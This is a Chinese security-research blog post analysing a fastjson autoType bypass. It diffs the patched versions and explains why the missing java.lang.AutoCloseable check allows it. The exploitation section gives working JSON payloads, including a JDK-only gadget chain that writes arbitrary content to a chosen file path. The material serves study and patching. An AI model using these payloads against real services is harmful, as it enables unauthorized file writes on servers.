以此祭奠找 gadgets 逝去的青春, orz
漏洞原因
既然已经出了补丁, 首先 diff 一下新版本与旧版本的差别, 这里因为 fastjson 会更新旧版本, 自然优先去 diff 旧版本的 sec 更新. 而不是去看 git log, 这样可以节省点时间, 因为 sec 更新只包含漏洞修补, 没有 feature 的更新.
这里挑了 1.2.48 版本:
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.48.sec09/
https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.48.sec10/
1$ diff 1.2.48-sec09/com/alibaba/fastjson/parser/ParserConfig.java 1.2.48-sec10/com/alibaba/fastjson/parser/ParserConfig.java
271a72
3> public static final String SAFE_MODE_PROPERTY = "fastjson.parser.safeMode";
475a77
5> public static final boolean SAFE_MODE;
687a90,93
7> String property = IOUtils.getStringProperty(SAFE_MODE_PROPERTY);
8> SAFE_MODE = "true".equals(property);
9> }
10> {
11185a192
12> private boolean safeMode = SAFE_MODE;
13214a222,224
14> 0xD54B91CC77B239EDL,
15> 0xD59EE91F0B09EA01L,
16> 0xD8CA3D595E982BACL,
17244a255
18> 0x1CD6F11C6A358BB7L,
19273a285
20> 0x535E552D6F9700C1L,
21291c303,305
22< 0x7AA7EE3627A19CF3L
23---
24> 0x7AA7EE3627A19CF3L,
25> 0x7ED9311D28BF1A65L,
26> 0x7ED9481D28BF417AL
27497a512,519
28> public boolean isSafeMode() {
29> return safeMode;
30> }
31>
32> public void setSafeMode(boolean safeMode) {
33> this.safeMode = safeMode;
34> }
35>
361033a1056,1059
37> if (this.safeMode) {
38> throw new JSONException("safeMode not support autoType : " + typeName);
39> }
40>
411038,1045c1064,1075
42< if (expectClass == Object.class
43< || expectClass == Serializable.class
44< || expectClass == Cloneable.class
45< || expectClass == Closeable.class
46< || expectClass == EventListener.class
47< || expectClass == Iterable.class
48< || expectClass == Collection.class
49< ) {
50---
51> long expectHash = TypeUtils.fnv1a_64(expectClass.getName());
52> if (expectHash == 0x90a25f5baa21529eL
53> || expectHash == 0x2d10a5801b9d6136L
54> || expectHash == 0xaf586a571e302c6bL
55> || expectHash == 0xed007300a7b227c6L
56> || expectHash == 0x295c4605fd1eaa95L
57> || expectHash == 0x47ef269aadc650b4L
58> || expectHash == 0x6439c4dff712ae8bL
59> || expectHash == 0xe3dd9875a2dc5283L
60> || expectHash == 0xe2a8ddba03e69e0dL
61> || expectHash == 0xd734ceb4c3e9d1daL
62> ) {
明显看到 expectClass 的判断出了变化, 甚至加了层 hash, 有种此地无银三百两的味道 233.
这里修改下 fastjson-blacklist, 改成用 TypeUtils.fnv1a_64
来计算 hash, 可以得到新增了三个类型的判断, java.lang.AutoCloseable
, java.lang.Readable
, java.lang.Runnable
.
这里稍微跟了下程序, 发现 expectClass 的作用其实相当于一个临时白名单, 这里有两个特性:
- 比如有个
1public interface Face {
2
3}
4
5public class Test implements Face {
6 String aaa;
7
8 public void setAaa(String aaa) {
9 this.aaa = aaa;
10 }
11}
12
13public class Test2 {
14 Face test;
15
16 public void setTest(Face test) {
17 this.test = test;
18 }
19}
那么通过 JSON.parseObject("{\"test\":{\"@type\": \"Test\", \"aaa\": \"zz\"}}", Test2.class);
是可以反序列化的, fastjson 会对当前反序列化类的 field 的类型作为 type 传进 JavaBeanDeserializer.deserialze
. 最后成为 expectClass 代入 checkAutoType 中, 如果 @type 指定的类是 expectClass 的子类, 就可以在黑名单不禁止的情况下通过检查, 这样就可以为 interface 制定类.
- 还有一个特性, 那就是会直接为 field 创建 JavaBeanDeserializer, 这个更强一些, 无视黑名单以及白名单, 但是前提有一个类的 field (或者 setter) 使用了才行. 比如:
1public static class Test2 {
2 java.lang.Thread test;
3
4 public void setTest(java.lang.Thread test) {
5 this.test = test;
6 }
7}
JSON.parseObject("{\"test\":{\"@type\":\"java.lang.Thread\"}}", Test2.class);
会直接将 Thread 反序列化, 无视了黑名单 (实际上直接绕过了 checkAutoType, SafeMode 下依然可以反序列化), 但这个明显鸡肋很多, 毕竟那些危险类一般情况下都是没用的. 没人会作为 filed 来使用.
这次漏洞也是因为特性 1 的原因. 但还有一个原因才能导致漏洞, 那就是 AutoCloseable 是在内置的反序列化 classMappings 中的, 没错, 就是之前缓存绕过 autoType 的那个 mapping. 所以导致了 AutoCloseable 是能直接被反序列化的, 这里可以根据特性一, 构造
1{
2 "@type": "java.lang.AutoCloseable",
3 "@type": "java.io.FileOutputStream",
4 "file": "/tmp/asdasd",
5 "append": true
6}
这样可以直接绕过 autoType 的检查, 得到 java.io.FileOutputStream, 此处是直接用 "@type": "java.lang.AutoCloseable"
构造出了 JavaBeanDeserializer, 而不是跟上面的例子一样通过 filed 的方式. 相信看到这里, 就已经有想法了, 可以通过 AutoCloseable 的子类来完成相关的攻击.
漏洞修复
修复方式从上面的 diff 中可以看出是在原来的基础上加了几个, 实际上可以看到原来本身就是有防御的, 因为有些内置类是以 Object 作为 setter, 构造函数的参数类型的, 如果不 ban 掉, 就可以直接反序列化任意类了. 这次的漏洞更像是某种意义上的黑名单被绕过, 不过可以看到 AutoCloseable 是 Closeble 的父类, 不知道为什么会在 Closeble 已经被 ban 掉的情况下忘记添加 AutoCloseable, 可能是忘记了? 233
漏洞利用
这里分享一条我找到的不需要三方库的链, 注意虽然不需要三方库, 但只能在 openjdk >= 11 下利用, 因为只有这些版本没去掉符号信息. fastjson 在类没有无参数构造函数时, 如果其他构造函数是有符号信息的话也是可以调用的, 所以可以多利用一些内部类, 但是 openjdk 8, 包括 oracle jdk 都是不带这些信息的, 导致无法反序列化, 自然也就无法利用. 所以相对比较鸡肋, 仅供学习. orz
1{
2 "@type": "java.lang.AutoCloseable",
3 "@type": "sun.rmi.server.MarshalOutputStream",
4 "out": {
5 "@type": "java.util.zip.InflaterOutputStream",
6 "out": {
7 "@type": "java.io.FileOutputStream",
8 "file": "/tmp/asdasd",
9 "append": true
10 },
11 "infl": {
12 "input": {
13 "array": "eJxLLE5JTCkGAAh5AnE=",
14 "limit": 14
15 }
16 },
17 "bufLen": "100"
18 },
19 "protocolVersion": 1
20}
大致思路是从上面已经写出来的 FileOutputStream 开始, 找到一个能往里面指定写入内容的类, 这里要一次传入两个参数, 所以只能通过构造函数或者两个 setter 来设置, 比较尴尬的是没有找到可以直接触发的, 还需要再调用一次 write/close/flush 才能真正写入内容, 最后又找到了 sun.rmi.server.MarshalOutputStream
, 可以写入不可控内容, 才真正完成 exp.
这里可以通过反射来暴力搜索函数相关参数, 加快搜索过程, 但也是很麻烦的 orz